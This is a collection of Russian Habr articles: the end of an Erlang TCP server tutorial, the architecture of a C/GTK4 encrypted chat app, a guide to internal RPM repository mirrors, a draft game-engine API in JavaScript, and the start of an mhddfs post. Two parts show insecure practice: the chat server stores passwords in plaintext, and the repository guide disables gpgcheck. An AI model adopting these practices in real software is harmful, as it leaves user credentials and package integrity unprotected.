8. accept_func(LSocket).
```
1. Макрос объявляющий модуль обработки соединения с клиентом.
2. Структура для хранения состояние gen-server.
3. Порождаем дополнительный процесс, который будет «слушать».
4. Ждем коннект.
5. Создаем gen\_fsm (модуль tcp\_fsm) для обработки соединения с клиентом.
6. Меняем контролирующий сокет процесс на только что созданный процесс в п. 5.
7. Передаем сокет модулю tcp\_fsm.
8. Заново начинаем «слушать».
#### Тестируем
```
(emacs@host)2> make:all(). # компилируем
Recompile: tcp_server_sup
Recompile: tcp_listener
Recompile: tcp_fsm
Recompile: tcp_client_sup
Recompile: erltcps
up_to_date
(emacs@host)3> code:add_path("../ebin"). # добавляем путь к ebin
true
(emacs@host)4> application:load(erltcps). # загружаем приложение
ok
(emacs@host)5> application:start(erltcps). # запускаем приложение
ok
(emacs@host)6>
=INFO REPORT==== 22-Jun-2011::13:10:07 ===
Accept connection: #Port<0.2353>. # есть коннект
(emacs@host)6>
=INFO REPORT==== 22-Jun-2011::13:10:07 ===
IP: {127,0,0,1} # IP адрес
(emacs@host)6>
=INFO REPORT==== 22-Jun-2011::13:10:15 ===
<<"hello\r\n">> # получено сообщение
(emacs@host)6>
=INFO REPORT==== 22-Jun-2011::13:10:23 ===
{127,0,0,1} Client disconnected. # клиент отключился
(emacs@host)6>
```
#### Выводы
В итоге мы построили каркас TCP сервера «как-бы» не блокирующего. В нашей реализации заблокированным остается специальный процесс, единственная функция которого ждать соединения и создавать процесс для его обработки. В сам же модуль tcp\_listener можно добавить дополнительную логику (например запуск/прекращение приема соединений, путем остановки слушающего процесса).
Плюсы:
* Мы не использовали undocumented features, которые в продакшене могут нам стоить очень дорого.
* Заблокированным остается специально созданный для этого процесс.
Минусы:
* В нашем OTP приложении присутствует процесс созданные не по принципам OTP.
* Если падает слушающий процесс (accept\_func/1 в модуле tcp\_listener), то сигнал распространяется, и tcp\_listener тоже падает, благо супервизор перезапускает tcp\_listener, а он в свою очередь заново создает слушающий процесс из функции accept\_func/1.
Эти два минуса между собой связаны. Для каждого есть свое решение. Вот пара задачек для читателей:
1. Что нужно сделать, чтобы tcp\_lictener не падал, если упадет слушающий процесс (accept\_func/1)?
2. Что нужно добавить, для более безопасного использования простых процессов в OTP приложении?
#### Скачать
Исходный код для статьи можно скачать на [github](https://github.com/LiveStalker/erltcps/tree/habr-article-1).
#### Что почитать?
1. [Building a Non-blocking TCP server using OTP principles](http://www.trapexit.org/Building_a_Non-blocking_TCP_server_using_OTP_principles)
2. [Создание неблокирующего TCP сервера с использованием принципов OTP](http://habrahabr.ru/blogs/erlang/111268/)
3. [Erlang questions mailing list ~ prim\_inet](http://www.trapexit.org/forum/viewtopic.php?p=29157)
4. [Отличная документация](http://erldocs.com)
5. [Erlang applications](http://www.erlang.org/documentation/doc-4.9.1/doc/design_principles/applications.html) | https://habr.com/ru/post/120815/ | null | ru | null |
# Архитектура приложения моего защищенного чата
В этой статье я хочу описать архитектуру своего приложения. Здесь будут представлен как графический клиент, так и сервер.
Оба приложения написаны на C. Это мой любимый язык и на нем я бы хотел писать код, если смогу когда нибудь устроиться на работу программистом. Попользовавшись ubuntu я понял что старые версии софта, это не хорошо. Например у меня несколько источников звука и микрофонов. И в ubuntu при каждой новой загрузке нужно переключать источник от наушников в источник телевизор. Также и микрофон. Как я обрадовался, что в opensuse нет с этим проблемы и доступна библиотека gtk4, которую я так давно ждал. Я мог писать приложение в gnome builder, что я иногда делаю, но в gnome builder мне не удалось сделать так, чтобы заработала библиотека ffmpeg. И как обычно я пишу в vim.
Итак. Я уже привык к объектной философии gobject и чувствую себя кофмортно в разработке. В gtk4 много изменений произошло. Например я раньше в gtk3 в text\_view в сигнале "draw" выполнял функцию gtk\_widget\_queue\_resize ();. и так получалось что это подгоняло размер под нужный, перед рисованием текста, но в gtk4 нельзя подключиться к методу отрисовки. И тогда я решил сделать свой виджет. Но свой виджет не нужно делать прям с нуля. В документации ясно сказано, что gtk\_drawing\_area как раз предназначен для custom виджетов.
Вот список файлов, которые учавствуют в проекте gui secure chat.
1. assets - здесь храняться ресурсы программы. Картинки в основном, но я наверное добавлю туда еще шрифт terminus, уж очень нравиться мне этот шрифт. Текст с таким шрифтом будет смотреться очень хорошо.
2. keys - здесь программа создает ключи для каждого пользователя. То есть есть например в сети пользователь под ником nemesis. Создается каталог nemesis. Когда я кликаю на клиенте запрос на обмен ключами, то создается два ключа, один приватный, другой публичный. Если обмен ключами произошел, то в этот каталог сохраняется еще один ключ, нужный для того, чтобы зашифровать сообщение.
3. main.c - здесь немного логики. Я не наследуюсь от GtkApplication, а делаю как в gnome-builder, как он создает начальный код. Здесь создается приложение и окно, которое является моим наследующим виджетом от класса окна. Это сделано как бы в объектном стиле, что каждое окно, хранит в своей структуре те виджеты, которые работают и размещены в окне.
4. main-window.c здесь главное окно. Но оно не главное. Да, в нем принимаются сообщения и обрабатываются, но это только каркас. Здесь есть виджет user-item. Это виджет, который является child для gtk\_list\_box. то есть участники, что видны слева, это как раз таки этот виджет под названием user-item, о котором я расскажу далее. Помимо user-item, как я писал ранее, здесь происходит обработка json данных, которые приходят от сервера. Эти данные особо не проверяют, так как подразумевается, что сервер всегда шлет правильные данные. Если мы отправим сообщение на сервер, то сервер там уже проверяет чтобы все данные были правильные и на месте, с правильными типами и т.д. Чтобы main-window виджет мог общаться по сети, ему передает с помощью g\_object вроде, объект register-window.
5. register-window.c Это класс окна, который взял на себя роль и регистрации и авторизации. В main.c этот класс создается один раз и потом просто управляется с помощью visibility. Если хочу открыть окно регистрации, то в callback функции я через properties передаю нужные строки. В итоге этот виджет создает json, где различаются только строка в "type": "register" или "type": "login". Если авторизация или регистрация прошла успешна, то передаются giostream объекты классу main-window. И далее класс main-window уже обрабатывает входящие данные.
6. user-item.c Это класс, который является child для gtk\_list\_box. Но он хранит не только виджеты аватарки, никнейма и статуса online. он также создает свой scroll box, куда будут поступать новые сообщения. Он также содержит и строку ввода, то есть gtk\_entry, через который можно писать сообщения. Для наглядности можно заметить, что когда нет виджетов участников, то нет и сообщений и entry виджета. Этот класс (user-item) отвечает за шифрование сообщений, передачу их, делать blink мерцание оповещение о том, что кто-то хочет обменяться с тобой ключами или blink о том, что поступило новое сообщение.
7. message-item.c здесь проводиться показ сообщения. Это наследник от виджета drawing\_area. В нем я сделал небольшую функцию, которая по заданному размеру будет отображать текст так, как это не может сделать text\_view.
8. cert.c здесь производиться работа с генерациями ключей.
это начальное окно. Слева будут участники, справа чат. Обе эти стороны объединяет виджет paned. Он хорошо справляется с задачей. Виджет тот что на header\_bar слева, указывает на то, что можно скрыть левую область и не будет видно участников. справа самая правая кнопка это кнопка меню. Мне не удалось использовать реальное меню и я добавил обычный gtk\_menu\_button, что тоже подходит. Левее от кнопки меню - кнопка для обмена ключами.
Сначала нужно авторизоваться. Для этого выбираем из пункта меню опцию login.
После успешной авторизации, окно это скрывается и загружаются участники сервера.
Теперь, чтобы начать писать кому то, нужно произвести обмен ключами. На изображении не показать, но если нажать на собеседника и на кнопку обмена ключа, то у того пользователя будет мигать наш ник зеленым цветом, это означает приглашение на обмен ключами. Мне кажется что это логично, что с каждым пользователем у нас отдельные ключи для каждого пользователя. Так как это сквозное шифрование, то трафик уже не расшифровать. Только json данные открыты, чтобы было легче парсить данные.
Хочу также рассказать про серверную часть. Я всё никак не мог понять как исправить одну ошибку. Если я подключусь к серверу с помощью netcat, то сервер больше не будет принимать новых клиентов, так как сессия с netcat не закончена. Я решил написать на stackoverflow, чтобы кто нибудь дал идею. И написали через день два человека. Оба их варианта не срабатывали, но один из помощников напомнил мне о функции select и poll. Я установил таймер на две секунды и если за две секунды не будет данных, то соединение обрывается. Но все равно не срабатывало. Пробовал nonblocking сокет, но это тоже было ошибкой. потом я понял, что ssl\_accept начинает обрабатывать только после 6 символов. Если ввести меньше 6 символов, то ssl\_accept зависнит. Тогда я использовал функцию recv с флагов MSG\_PEEK, которая не удаляла сообщение из очереди. Если в сообщение было меньше 6 символов, то соединение обрывалось. И так я решил проблему.
Сервер имеет отдельный поток. В главном потоке когда принимается новый клиент, он добавляется в epoll. И в отдельном потоке уже ждет новых сообщений. Я иногда делал серверное приложение на gio с применением шины dbus и мониторинга сетевого интерфейса, что если интернет пропадет, то отключаться все функции и закроется поток и будет ждать возобновления интернета, чтобы потом вновь все включилось и не было утечек памяти. Но в этом приложении я не стал делать пока что так. Если честно уже надоело одно и тоже, но в будущем думаю добавлю это, когда настроение будет.
Итак. Новый клиент регистрируется. Сообщение проходит этап проверок.
```
for (int i = 0; i < nfds; i++) {
struct data_client *dc = events[i].data.ptr;
int size = SSL_read (dc->ssl, dt, DT_SIZE);
if (size <= 0) {
char ptr[64];
snprintf (ptr, 64, "%lld", dc->ssl);
mysql_show_online_status_ptr (ptr, 0);
unset_to_online_table (ptr);
SSL_free (dc->ssl);
int ret = epoll_ctl (ep, EPOLL_CTL_DEL, dc->client, &ev);
if (ret == -1) {
perror ("epoll_ctl del client");
}
close (dc->client);
free (dc);
printf ("disconnected\n");
continue;
}
dt[size] = 0;
int ret;
int id = 0;
printf ("%s\n", dt);
if ((ret = parse (dt, &id)) == -1) {
```
здесь значимая функция, это parse, которая в конце примера кода. Она проверяет тип вот так. Но сначала надо убедиться, что json данные правильные.
```
json_object *jobj = NULL;
int stringlen = 0;
enum json_tokener_error jerr;
json_tokener *tok = json_tokener_new ();
do {
stringlen = strlen (dt);
jobj = json_tokener_parse_ex (tok, dt, stringlen);
} while ((jerr = json_tokener_get_error (tok)) == json_tokener_continue);
if (jerr != json_tokener_success) {
fprintf (stderr, "Error tok: %s\n", json_tokener_error_desc (jerr));
return -1;
}
json_object *jtype = json_object_object_get (jobj, "type");
if (!json_object_is_type (jtype, json_type_string)) {
json_object_put (jobj);
fprintf (stderr, "damn. type is not string.\n");
return -1;
}
```
После этого проверяем имя типа и выполняем нужную функцию, которая укажет, все ли данные имеются.
Например возьмем проверку на регистрацию.
```
if (!strncmp (type, "register", 9)) {
int ret;
if ((ret = mysql_registration_server (jobj)) == 0) {
json_object_put (jobj);
return -1;
}
*id = mysql_get_person_id (jobj);
json_object_put (jobj);
return ret;
}
```
Функция возвращает нужный ret, если всё нормально. вот как выглядит эта функция.
```
int mysql_registration_server (json_object *j) {
json_object *jlogin = json_object_object_get (j, "login");
json_object *jpassword = json_object_object_get (j, "password");
if (!jlogin || !jpassword) return -1;
if (!json_object_is_type (jlogin, json_type_string)) {
return -1;
}
if (!json_object_is_type (jpassword, json_type_string)) {
return -1;
}
const char *login = json_object_get_string (jlogin);
const char *password = json_object_get_string (jpassword);
if (strlen (login) > 16) return -1;
if (strlen (password) > 16) return -1;
char to_login[68];
char to_password[68];
char query[512];
mysql_escape_string (to_login, login, strlen (login));
mysql_escape_string (to_password, password, strlen (password));
snprintf (query, 512, "select * from acc where name = '%s';", to_login);
int ret = mysql_query (mysql, query);
...
if (num_fields == 0) {
snprintf (query, 512, "insert into acc (name, password) VALUES ('%s', '%s');",
to_login,
to_password
);
mysql_query (mysql, query);
return STATUS_REGISTER;
} else {
return -1;
}
```
Здесь не полный пример кода. Но в конце видно, что возвращается STATUS\_REGISTER при успешной работе.
Далее мы выходим из функции parse и идем в switch.
```
switch (ret) {
case STATUS_REGISTER:
case STATUS_LOGIN:
{
if (id < 0) {
json_object *buf_false = get_json_buf_false ();
const char *buf = json_object_to_json_string_ext (buf_false, JSON_C_TO_STRING_PRETTY);
SSL_write (dc->ssl, buf, strlen (buf));
json_object_put (buf_false);
SSL_free (dc->ssl);
int ret = epoll_ctl (ep, EPOLL_CTL_DEL, dc->client, &ev);
if (ret == -1) {
perror ("epoll_ctl del client");
}
close (dc->client);
free (dc);
continue;
}
json_object *buf_ok = get_json_buf_ok ();
const char *buf = json_object_to_json_string_ext (buf_ok, JSON_C_TO_STRING_PRETTY);
SSL_write (dc->ssl, buf, strlen (buf));
json_object_put (buf_ok);
/* get ssl ptr */
char ptr[64];
snprintf (ptr, 64, "%lld", dc->ssl);
set_to_online_table (ptr, id);
mysql_show_online_status (id, 1);
}
break;
```
На первых этапах я еще использовал id, но потом научился без него обходиться.
Важный момент. Я использую snprintf (ptr = ssl);. Это решение мне понравилось. Так я могу быть уверен, что никто другой не может написать сообщение от имени другого пользователя или отправить запрос на обмен ключами от другого пользователя. В базе данных сообщения храняться только в случае, если пользователь-получатель находится в offline. Мне конечно не хотелось так делать, но все таки я считаю что это удобно, что можно оставить сообщение до поры когда участник авторизуется на сервере. Разумеется сообщение зашифровано и может быть расшифровано только участником, у которого есть приватный ключ.
В дальнейшем я хочу добавить загрузку картинок, и может быть, ну то есть возможно, что также добавлю голосовые сообщения. Так то я работал и с gstreamer и ffmpeg. посмотрим что будет удобней. Хотя что тут выбирать. Для звуковых оповещений о просьбе обменяться ключами и о новых входящих сообщениях я выберу gstreamer. Но если я захочу сделать еще и видео чат, то тогда ffmpeg, потому что я так и не смог понять как в gstreamer передавать видео, если оно не прикриплено к виджету. Да и gsteamer как я понял может только цепляться к x11 окно, у которого есть window. А ffmpeg крутая штука, я научился получать raw данные и правильно заполнять данные в формат картинки, чтобы видеть видео где хочется или передавать это по сети.
<https://flathub.org/apps/details/io.github.xverizex.nem_desktop> - доступно на flathub
<https://github.com/xverizex/nem_desktop> - исходники клиента
<https://github.com/xverizex/nem-server> - исходники сервера
Если кому интересен проект, то можете брать и использовать на своих серверах или вносить свои фичи. Проект интересный и мне бы хотелось сделать хорошее приложение.
Спасибо за то что заинтересовались статьей. | https://habr.com/ru/post/580328/ | null | ru | null |
# Развёртываем инфраструктуру распространения пакетов и обновлений RH-based дистрибутивов в корпоративной сети
[](https://habr.com/ru/company/ruvds/blog/687048/)
Все уже порядком устали от импортозамещения, однако до заветных показателей отечественных ОС на десктопах ещё далековато. Пришло время обсудить схему распространения обновлений/дополнений и прочего софта.
И нет, я не буду смотреть на вас как дядька на КДПВ, да и парой минут тут явно не обойтись. Будем неспешно продвигаться от локальной машины к захвату ~~вселенной~~ корпоративной сети.
Как обычно, возимся с отечественными RedHat-based дистрибутивами — RedOS, Rosa. Сборки на базе Debian — не моё направление, но уверен, что и там всё отлично.
Для тех, кто раньше с линуксами особо дела не имел, немного поясню: rpm (RedHat Package Manager) — это программа для управления установочными пакетами в дистрибутивах производных от RedHat Linux. Установочные пакеты имеют расширение `.rpm`.
Программа позволяет установить пакет, удалить, показать содержимое/метаданные, показать установленные пакеты и т.д. В самом пакете, помимо исполняемых файлов, библиотек, конфигов, документации и прочих данных, содержится достаточное количество скриптов, самостоятельно подстраивающих конфигурацию пакета под конкретную систему и наоборот. Они также подчищают всё за собой в случае удаления софта. Кроме того, в формате rpm прописано, какие пакеты (зависимости) должны присутствовать в системе (requires) и какие зависимости данный пакет предоставляет (provides). Для того чтобы избавиться от непроизводительных трудозатрат по поиску пакетов, удовлетворяющих зависимости устанавливаемой программы (а также зависимостей-зависимостей), был создан замечательный инструмент yum (yellowdog updater, modified) который делает это за нас и устанавливает всё недостающее вместе с требуемым пакетом. Собственно dnf это уже дальнейшее развитие yum (вернее, форк), при этом сохранивший совместимость с yum на уровне команд.
▍ Как обновить локальную машину
-------------------------------
По идее, она уже обновляется, т.к. в графической оболочке вам будет надоедать значок dnfdragora или yumex. Лично я считаю, что эти «товарищи» недостойны жить на корпоративных десктопах — логика их работы неочевидна, юзерские интерфейсы ужасны, сами они подвисают по любому поводу и без повода, требуют избыточных прав, жрут ресурсы, да и отдавать пользователям такое важное мероприятие не есть хорошо. Безответственные они (пользователи).
Если ваш дистрибутив уже начал перебираться на dnf, то необходимо доустановить пакет dnf-automatic и прописать необходимый таймер в systemd:
```
# systemctl enable --now dnf-automatic-install.timer
```
При этом необходимо выбрать любой из возможных таймеров:
* dnf-automatic-notifyonly
* dnf-automatic-download
* dnf-automatic-install
Что они делают, попытайтесь отгадать самостоятельно, либо можно подсмотреть в man dnf-automatic
Для yum необходимо поставить пакет yum-cron и организовать его запуск при загрузке
```
# systemctl enable yum-cron.service
# systemctl start yum-cron.service
```
Все настройки в файлах `/etc/yum/yum-cron.conf` и `/etc/yum.conf`.
Обновления теперь приходят регулярно и бесшумно.
**Если хочется всё контролировать**
Если автоматическое обновление вас не устраивает, то надо настроить автоматическую скачку обновлений, а вот их применение реализовывать через систему управления конфигурацией (SCM)- ansible, chef, puppet и т.д. Соответственно, там уже и решать вопрос с группами «испытателей» и остальным объёмом пользователей.
▍ Обновляем локальную машину с сервера
--------------------------------------
Вроде всё необходимое написал выше и можно расходиться. Однако, постойте :)
Так как наша корпоративная сетка изолирована от внешнего мира десятью фаерволами, то, если просто накатить с пластинки/флешки операционку, всё вышеописанное банально не сработает. Даже пакеты dnf-automatic или yum-cron без дополнительных телодвижений не установить. Первым делом надо запретить нашей машинке лезть за обновлениями в интернет, а затем приучить к пользованию внутренними ресурсами.
И dnf и yum используют одно место для хранения конфигурации репозиториев — каталог `/etc/yum.repos.d`. Заходим туда и редактируем по очереди все файлы любимым текстовым редактором: nano, mcedit, vi, ed, sed. Наша задача: в каждой секции строчку `enabled=1` заменить на `enabled=0`. Таким образом мы отключили находящиеся в интернете стандартные репозитории.
Следующий этап — подключить внутренние репозитории. Копируем сюда заранее заготовленный файл с конфигурацией, полученный от системного администратора. Совсем забыл, что сисадмин — это мы, а значит, файлик придётся делать самостоятельно, взяв за основу любой из данного каталога. В нём перебиваем `baseurl` на адрес нашего сервера и ставим `enabled=1` для необходимых секций. Также и на начальном этапе отключим gpgcheck — когда наберёмся опыта/знаний, тогда и решим, что с ним дальше делать.
**Как убавить интерактивности**
С конфигурацией репозиториев можно поработать проще, чтобы можно было, к примеру, пихнуть все манипуляции в установочные скрипты или в плэйбуки (демонстрируется только на примере dnf).
Просматриваем активные репозитории в системе:
Просматриваем все настроенные в системе репозитории:
Отключаем все репозитории (тут приходится прятаться от шелла):
Выборочно включаем парочку репозиториев:
Если в каталоге `/etc/yum.repos.d` уже имеются конфиги для своих репозиториев, то они тут тоже будут фигурировать. И, кстати, клиенту файл конфигурации можно добавлять через dnf config-manager — читайте маны :).
▍ Устанавливаем сервер и получаем обновление из инета
-----------------------------------------------------
Вроде клиента настроили, однако расслабляться рано — помните baseurl из предыдущего абзаца? Он сейчас указывает «в никуда». Значит, перемещаемся на консоль сервера (или просто выделенной машины) и начинаем поднимать собственный сервер обновлений. Некорректный термин «обновлений», т.к. это, по сути, дистрибутивный сервер, где хранятся всё программное обеспечение, а обновления — это всего лишь свежие версии пакетов.
В дистрибутивном образе (с которого делали установочный носитель) обычно находится самодостаточный и довольно большой набор пакетов, однако на сервере производителя их значительно больше. А если взять, к примеру, образ Centos Netinstall, то там пакетов вообще практически нет — всё вытягивается из сети.
На нашем сервере конфигурацию репозиториев yum не трогаем — ведь нам реально придётся тащить данные из интернета.
Также для нашего сервера необходимо открыть доступ к серверам производителя по протоколу https. Необходимые адреса берём из baseurl которые прописаны в оригинальных конфигах.
Почти всё готово, однако, запуск yum или dnf с параметром update не сделает нашу машину дистрибутивным сервером, мы просто обновим установленные пакеты.
Для «зеркалирования» репозитория имеется утилита reposync из пакета yum-utils (или dnf-utils). Запускаем её и наблюдаем процесс скачивания репозиториев в текущий каталог. Далее настраиваем запуск этой команды на регулярной основе, по крону, либо через таймер systemd, и поднимаем с необходимыми настройками локальный http-сервер, чтобы клиенты могли скачать себе метаданные репозитория и входящие в него пакеты.
* Плюсы данного решения — у вас появляется полная копия репозитория 47k+ пакетов.
* Минусы данного решения — у вас появляется полная копия репозитория 75+ Гб.
Есть второй вариант.
На нашей машинке исправляем параметр keepcache в файле yum.conf и/или dnf.conf. Соответственно, всё, что мы будем ставить на наш компьютер — будет оседать в кэше `/var/cache/yum` (`/var/cache/dnf`) и эти пакеты можно брать и раздавать всем страждущим.
Также можно с помощью опции `--downloadonly` пропускать стадию установки пакетов, только скачивать.
Более того, в данном случае можно иметь дополнительную машинку вне пределов корпоративной сети и таскать оттуда пакеты на внутренний сервер посредством «флоппинета».
* Плюсы — объёмы небольшие. Только то, что реально нужно
* Минусы — некий костыль, однако работает.
Третий и последующие варианты придумывайте самостоятельно — wget, curl, rsync и т.д. зазеркалить и синхронизировать папку с http-сервера проблем не представляет.
Пакеты мы вроде скачали, сложили в доступное для клиентов место, однако этого недостаточно — нужно проиндексировать содержимое репозитория и подготовить необходимые метаданные.
Превращение файлопомойки с пакетами в репозиторий производится утилитой createrepo из пакета createrepo. Запускаем, и в параметрах указываем имя каталога с пакетами. После обработки в нём появляется каталог repodata, содержащий метаданные, которые клиент вытаскивает в свой кэш, что позволяет его пакетному менеджеру мгновенно разрешать зависимости и находить необходимые пакеты. Если что-нибудь добавили в уже имеющийся репозиторий, то можно ускорить процесс индексирования опцией `--update`
▍ Обновляем репозиторий из репозитория
--------------------------------------
Движемся дальше. Схема с одним сервером в корпоративной сети — не сказать чтобы очень хорошая. Даже с учётом низких требований к скорости, а точнее — оперативности обновлений, хочется чтобы была определённая отказоустойчивость и меньшая нагрузка на каналы передачи данных. Как обычно, это решается установкой вторичных и/или каскадных серверов обновлений на удалённых площадках — поближе к потребителям.
Настройка серверов — как описано выше, только они тянут пакеты не напрямую из интернета, а с нашего центрального сервера. А вот настройка клиентов будет специфичная. «Энтерпрайз» любит и приветствует унификацию, посему я предлагаю не делать уникальные файлы описаний репозиториев для каждой площадки. Как тогда указать клиенту, чтобы он обращался к серверу обслуживающим данную локацию?
* **Вариант A** — в baseurl перечислить \_все\_ имеющиеся серверы. Клиента обламывать либо на выходе из площадки с помощью фаервола, либо через списки доступа на сервере. Вариант так-себе — потери времени при переборе серверов плюс паразитный трафик.
* **Вариант B** — шалости с dns, например, посредством view в ISC BIND или через Lua Records в PowerDNS. Традиционно это считается очень нехорошим решением и не приветствуется. Но если работает, pourquoi pas?
* **Вариант C** — в строке baseurl использовать переменные, как сказано в самом конце man yum.conf. Помимо стандартных `$releasever`, `$basearch`, `$uuid` можно использовать внешние переменные $YUM0-$YUM9 или содержимое файлов в каталоге `/etc/yum/vars`. Что и как туда сложить придумывайте самостоятельно.
* **Вариант D** — на центральном сервере организовать редирект на вторичные, в зависимости от адреса обратившегося. Реализуется настройками или специально обученными скриптами http-сервера, хостящего наши пакеты. Тут, конечно, надо дополнительно порешать, что делать в плане отказоустойчивости и доступности центрального сервера.
Какой из вариантов реализовать также решайте сами и исходя из своих возможностей и топологии сети.
▍ Собственные репозитории
-------------------------
Что делать с «левыми» пакетами, взятыми не из официального репозитория производителя ОС или с пакетами, которые мы сгенерировали сами?
Правильно — размещать в собственных репозиториях. На веб-сервере делаем необходимые настройки/каталоги и складируем туда пакеты. Далее утилитой createrepo генерируем необходимые метаданные. Для клиентов делаем файл с описанием репозитория. Всё должно работать.
Хочу ещё один нюанс упомянуть. Все эти манипуляции с установкой софта, мгновенным предоставлением информации о доступных пакетах и их зависимостях, низкая нагрузка на каналы — всё это достигается предварительной индексацией и кэшированием данных.
Поэтому если вы не видите свой пакет, только что уложенный в репозиторий, то необходимо запускать dnf/yum с опцией `--refresh`. Таким образом, вы заставляете его скачать свежайшие метаданные репозитория и получите требуемые пакеты.
▍ Финал
-------
Как видите, ничего сложного. Развернув собственную инфраструктуру дистрибутивных серверов для RPM-based дистрибутивов, мы можем уже полноценно управлять нашими линуксовыми рабочими станциями, давая задания нашей SCM (ansible, chef, puppet и т.д.) на обновление, установку или удаление программного обеспечения. Причём всё это производится абсолютно незаметно для пользователя.
> **[Telegram-канал](https://bit.ly/3KZeaxv) и [уютный чат](https://bit.ly/3qoIOXs) для клиентов**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=alef13&utm_content=razvyortyvaem_infrastrukturu_rasprostraneniya_paketov_i_obnovlenij_rh-based_distributivov_v_korporativnoj_seti) | https://habr.com/ru/post/687048/ | null | ru | null |
# just2d — создаем «идеальный» игровой движок. Шаг 1
Доброе утро, Хабр.
на досуге посетило меня вдохновение о разработке нового 2d движка для игр. Однако с одной уникальной особенностью. Хочется сделать его реально удобным для разработчиков разного уровня.
Как этого добиться?
Сначала мы придумаем и напишем 2-3 типовых игры на «идеальном» движке, т.е. сначала будет создано само приложение, а уже потом под его код будет писаться движок.
Первой игрой будет платформер, получивший тестовое название Terrorist Win.
Описание:
бегать по локации, закладывая и взрывая бомбы убивать мобов.
Второй игрой скорее будет match3
С удовольствием жду ваших примеров идеального кода.
Начнем разбор первой версии «идеального» кода для платформера)
start.js:
```
window.onload = init
function init(){
// в начале указываем все ресурсы
Engine.setResurs({
'block' : 'resurs/sprite/block.jpg',
'bomb' : 'resurs/sprite/bombs.png',
'cop' : 'resurs/sprite/cops.png',
'mob' : 'resurs/sprite/mobs.png',
'player' : 'resurs/sprite/player.png',
'mask' : 'resurs/sprite/mask.png',
'_palm' : 'resurs/sprite/_palm.png',
'_lavk' : 'resurs/sprite/_lavk.png',
'fire' : 'resurs/sprite/fires.png'
})
/*
теперь ставим основные настройки
width - ширина (рх) canvas
height - высота (рх) canvas
separator - id html элемента canvas
size - размер выходной клетки (на его основе будет строится в частности и zoom)
*/
Engine.init({
width : 800,
height : 512,
separator : 'game_canvas',
size : 32,
})
/*
отсюда начинается "произвольный" код игры
Карта локации (1-0 : степень проходимости 0 - полная, 1 - нет)
*/
var map = new Array(
new Array(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),
new Array(1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1),
new Array(1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1),
new Array(1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1),
new Array(1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1),
new Array(1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1),
new Array(1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1),
new Array(1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1),
new Array(1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1),
new Array(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)
)
/*
Создание сцены:
Engine.Task.AddScene('map') - добавляем сцену с именем map
Добавление объекта на сцену
// GameObject - встроеный шаблон игрового объекта, еще будет круг
// создание GameObject типа box, в позиции Vec2б шириной и высотой 1
var block = new GameObject('box', new Vec2(x, y), 1, 1)
// выключаем гравитацию
block.gravitati = false;
// добавляем объект на сцену, с псевдослучайным именем
scene.ObjectAdd(false, block)
*/
var scene = new SceneControl('scene1', map[0].length, map.length)
for(var y = 0; y < map.length; y++){
for(var x = 0; x < map[0].length; x++){
var sprite = new SpriteControl('block', new Vec2(x, y), Setting.set('size'), Setting.set('size')
var block = new GameObject('box', new Vec2(x, y), 1, 1)
block.sprite = sprite;
block.gravitati = false;
scene.ObjectAdd(false, block)
}
}
/*
создаем наш собственный объект Player с векторами Vec2 и добавляем на сцену
*/
var player = new PlayerObject(new Vec2(5, 5))
scene.ObjectAdd('player', player)
Engine.Task.AddScene('scene1', scene)
/*запускаем в проигрыватель сцену scene1*/
Engine.Task.PlayScene('scene1')
// запускаем игру
Engine.Play();
}
```
Ну и код player.js
```
function PlayerObject(vec2){
// parrent - прототип объекта
this.parrent = new GameObject('box', vec2, 1, 1 )
// переназначение events с parrent
this.eventKeyUp = function(){ // стрелка вверх
this.parrent.vec2 = this.parrent.vec2.summ(new Vec2(-2, 0))
}
this.eventKeyLeft = function(){ // влево
this.parrent.vec2 = this.parrent.vec2.summ(new Vec2(0, -1))
}
this.eventKeyRight = function(){ // вправо
this.parrent.vec2 = this.parrent.vec2.summ(new Vec2(0, 1))
}
this.eventKeyE = function(){ // клавиша E
// получаем сцену по коду
var scene = Engine.Task.returnScene('map')
// Bomb - тоже заранее подготовленный нами объект с описанием поведения бомбы
var bomb = new Bomb(new Vec2(this.parrent.vec2.x, this.parrent.vec2.y))
scene.ObjectAdd(false, bomb)
}
this.eventKeySpace = function(){ // пробел
// bomb Detonation
}
this.collision = function(){ // событие столкновения
// запрещением проваливаться сквозь "пол"
if(this.collisionFlagBottom){ // если коллизия происходит снизу
this.parrent.vec2.y = 0 // изменять текущий вектор
}
}
}
```
тек же хотелось бы увидеть примеры для ваших «идеальных» игр, как бы вам было удобно писать
собственно, это первая версия псевдоидеального кода)
с нетерпением жду ваших комментариев, заметок и предложений.
На по след ок:
код проекта на github [github.com/DrNemo/just2d](https://github.com/DrNemo/just2d)
пока не будет разработан нормальный шаблон кода, к программированию реального кода приступать не буду, т.ч. можете не обращать пока внимание на наброски из папки just2d.v.0.0.1)
идея а так же прототип пришли в голову вчера ночью, не бейте сильно)
UP1:
я планирую идти от простого к сложному, наращивать функционал и возможности от версии к версии
заявленный минимум:
Работа со сценами — не попадающие в окно отрезается, можно установить как свои размеры так и сдвиги
Объекты сцены — дочерние элементы сцены, это сами игровые объекты, могут быть произвольными на основе parrentа
поддерживается переназначение обработчиков событий
события:
функции обработчики событий
eventClick, eventDblClick, eventHover, eventKeyX — понятно
eventCollision — столкновение с объектом той же маски
collisionFlagBottom, collisionFlagLeft — и т.д. флаги коллизий по сторонам
простейшая физика
gravitati = new Vec2(1, 0) или false если отключена
если не переназначать события, то срабатывают события по умолчанию
так же свойства
enable, visible
UP2:
Что бы не засорять тему продолжу в своем блоге [style4web.ru/category/just2d](http://style4web.ru/category/just2d/) | https://habr.com/ru/post/163581/ | null | ru | null |
# mhddfs — Монтирование нескольких разделов в одну директорию
Хочу рассказать о том, как смонтироват в одну директорию два раздела.
